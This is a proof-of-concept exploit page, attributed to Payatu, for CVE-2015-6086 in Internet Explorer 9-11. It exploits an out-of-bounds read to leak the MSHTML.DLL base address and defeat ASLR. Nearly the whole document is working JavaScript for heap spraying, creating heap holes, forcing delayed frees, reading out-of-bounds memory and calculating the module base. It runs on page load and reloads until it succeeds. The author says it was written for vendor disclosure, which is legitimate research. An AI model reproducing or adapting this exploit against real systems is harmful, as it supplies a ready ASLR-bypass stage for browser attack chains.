Internet Explorer 9, 10, 11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)

<!--

                      CVE-2015-6086
             Out Of Bound Read Vulnerability
     Address Space Layout Randomization (ASLR) Bypass

Improper handling of new line and white space character caused
Out of Bound Read in CDOMStringDataList::InitFromString. This
flaw can be used to leak the base address of MSHTML.DLL and
effectively bypass Address Space Layout Randomization.

Affected Version:
        Internet Explorer 9
        Internet Explorer 10
        Internet Explorer 11

Test Bed:
        IE: 10 & 11
        KB: KB3087038
        OS: Windows 7 SP1 x86

Advisory:
        http://www.payatu.com/advisory-ie_cdomstringdatalist/
        https://technet.microsoft.com/library/security/MS15-112
        http://www.zerodayinitiative.com/advisories/ZDI-15-547/

Copyright 2016 © Payatu Technologies Pvt. Ltd.

Author: Ashfaq Ansari
Email: ashfaq[at]payatu[dot]com
Websites: www.payatu.com
          www.nullcon.net
          www.hardwear.io
          www.null.co.in

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option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with
this program.  If not, see <http://www.gnu.org/licenses/>.

THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
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DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
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<!DOCTYPE html>
<html>
<head>
    <title>IE 10-11 Windows 7 SP1 x86 - OOB Read ALSR Bypass PoC</title>
    <meta http-equiv="pragma" content="no-cache"/>
    <meta http-equiv="expires" content="0"/>
    <script type="text/javascript">
        /**
         * This function is used to create string of desired size.
         *
         * @param character
         * @param size
         * @returns {string}
         */
        function createString(character, size) {
            while (character.length < size) {
                character += character;
            }

            // BSTR structure
            // header  | unicode string     | NULL terminator
            // 4 bytes | sizeof(string) * 2 | 2 bytes
            return character.substr(0, (size - 6) / 2);
        }

        /**
         * This function is used to get the Internet Explorer's version.
         *
         * @link http://stackoverflow.com/questions/19999388/jquery-check-if-user-is-using-ie
         * @returns {int | null}
         */
        function getInternetExplorerVersion() {
            var userAgent = window.navigator.userAgent;
            var msie = userAgent.indexOf('MSIE');

            if (msie > 0) {
                return parseInt(userAgent.substring(msie + 5, userAgent.indexOf('.', msie)), 10);
            }

            var trident = userAgent.indexOf('Trident/');
            if (trident > 0) {
                var rv = userAgent.indexOf('rv:');
                return parseInt(userAgent.substring(rv + 3, userAgent.indexOf('.', rv)), 10);
            }

            var edge = userAgent.indexOf('Edge/');
            if (edge > 0) {
                return parseInt(userAgent.substring(edge + 5, userAgent.indexOf('.', edge)), 10);
            }
            return null;
        }

        /**
         * This function is used to leak the base address of MSHTML.DLL.
         *
         * @param offsetOfMSHTMLBaseAddress
         */
        function LeakMSHTMLBaseAddress(offsetOfMSHTMLBaseAddress) {
            // Step 1: Let's do some clean up
            CollectGarbage();

            var eventArray = new Array();
            var polyLineArray = new Array();
            var exploitSuccessful = false;

            // Step 2: As the target object is stored in Process Heap
            // instead of Isolated Heap, we can use any element that
            // is stored on Process Heap to spray the Heap.
            //
            // To create a predictable pattern on Heap, we spray using
            // "MsGestureEvent" and it's size is 0x0A0. We will use
            // this object to read the VFTable pointer.
            for (var i = 0; i < 0x1000; i++) {
                eventArray[i] = document.createEvent('MsGestureEvent');
            }

            // Step 3: Now we need to create a hole in the allocation
            // that we made earlier. The purpose of this hole is to
            // allocate the vulnerable buffer just before the Heap
            // chunk of "MsGestureEvent"
            for (i = 1; i < 0x500; i += 2) {
                eventArray[i] = null;
            }

            // Step 4: As Memory Protector is enabled by default on all
            // versions of IE, it will not allow the free of objects
            // instantly. So, we need to force free the memory due to
            // Delayed Frees.
            CollectGarbage2();

            // Step 5: Now, fill the hole that we created earlier. The
            // "requiredFeatures" property is allocated on OLEAUT32 Cache
            // Heap, old Plunger technique does not seems to work for me.
            // I have used a neat trick to bypass OLEAUT32 Cache Heap.
            for (i = 0; i < 0x250; i++) {
                polyLineArray[i] = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');

                // Step 6: Trick to bypass allocation on OLEAUT32 Cached Heap
                polyLineArray[i].setAttributeNS(null, 'attrib' + i, createString('A', 0x0A0));

                // Step 7: Now, "requiredFeatures" property won't be allocated on OLEAUT32 Cache Heap.
                polyLineArray[i].setAttributeNS(null, 'requiredFeatures', createString('\n', 0x0A0));

                // Step 8: As the whole exploitation depends on certain Heap
                // layout, thus, this is unreliable. But to overcome this
                // un-reliability, I'm reloading the page until, right Heap
                // Layout is achieved.
                //
                // This PoC is created for the vendor to acknowledge this bug,
                // hence reliability is not my concern at this moment. We can
                // make it more reliable, but let's leave it for later stage.
                //
                // Some heuristics to detect if Heap is in the right state.
                // Once we have determined the Heap state, we can apply some
                // more heuristics.
                if (polyLineArray[i].requiredFeatures.numberOfItems == 2 && polyLineArray[i].requiredFeatures.getItem(1).length == 4) {
                    // Step 9: Read the Out of Bound memory
                    var OOBReadMemory = escape(polyLineArray[i].requiredFeatures.getItem(1));

                    // Step 10: Some more heuristics
                    var spitValue = OOBReadMemory.split('%');
                    var CDOMMSGestureEvent_VFTablePointer = parseInt('0x' + spitValue[3].replace('u', '') + spitValue[2].replace('u', ''));
                    var MSHTMLBaseAddress = CDOMMSGestureEvent_VFTablePointer - offsetOfMSHTMLBaseAddress;

                    // Step 11: Show the message to user
                    var message = 'MSHTML.DLL Base Address: 0x' + MSHTMLBaseAddress.toString(16);
                    message += '\n';
                    message += 'CDOMMSGestureEvent VFTable Pointer: 0x' + CDOMMSGestureEvent_VFTablePointer.toString(16);
                    alert(message);

                    // Step 12: Exploit successful
                    exploitSuccessful = true;
                    break;
                }
            }

            // Step 13: As stated earlier, this is a bit unreliable.
            // If the exploit has failed, reload the current page.
            // If reloading does not help, close the browser and
            // launch the exploit multiple times.
            if (!exploitSuccessful) {
                window.location.reload();
            }
        }

        /**
         * This function is used fill the wait list of the freed objects
         * and trigger Garbage Collection.
         */
        function CollectGarbage2() {
            // Microsoft implemented Memory Protector to mitigate
            // Use after Free vulnerabilities. The object protected
            // by Memory Protector won't be freed directly. Instead,
            // it will be put into a wait list which will be freed
            // when it reaches certain threshold (i.e 100,000 bytes).
            var video = new Array();

            // Now allocate video element (400 bytes) 250 times
            //
            // Note: We are not using stack to store the references.
            // If we use stack to store the references, the memory
            // will never be freed during Mark and Reclaim operation
            for (var i = 0; i < 250; i++) {
                video[i] = document.createElement('video');
            }

            // Now free the elements. It will be put into the wait list.
            video = null;

            // Reclaim the memory by triggering Garbage Collection
            CollectGarbage();
        }

        /**
         * This function is used to launch the exploitation by leaking
         * the base address of MSHTML.DLL.
         */
        function LaunchExploit() {
            var browserSupported = false;
            var ieVersion = getInternetExplorerVersion();
            var offsetOfMSHTMLBaseAddress = null;

            if (ieVersion == 11) {
                // If you are getting a wrong base address, please update this value
                // offsetOfMSHTMLBaseAddress = VFTableAddress - MSHTMLBaseAddress
                offsetOfMSHTMLBaseAddress = 0x0002ebe8;
                browserSupported = true;
            } else if (ieVersion == 10) {
                // If you are getting a wrong base address, please update this value
                // offsetOfMSHTMLBaseAddress = VFTableAddress - MSHTMLBaseAddress
                offsetOfMSHTMLBaseAddress = 0x0000d270;
                browserSupported = true;
            } else {
                alert('Current browser is not supported!\nExploit Tested on IE10 & 11 (Windows 7 SP1 x86)');
            }

            // Launch the exploit
            if (browserSupported) {
                LeakMSHTMLBaseAddress(offsetOfMSHTMLBaseAddress);
            }
        }
    </script>
</head>
<body onload='LaunchExploit();'>
</body>
</html>

 

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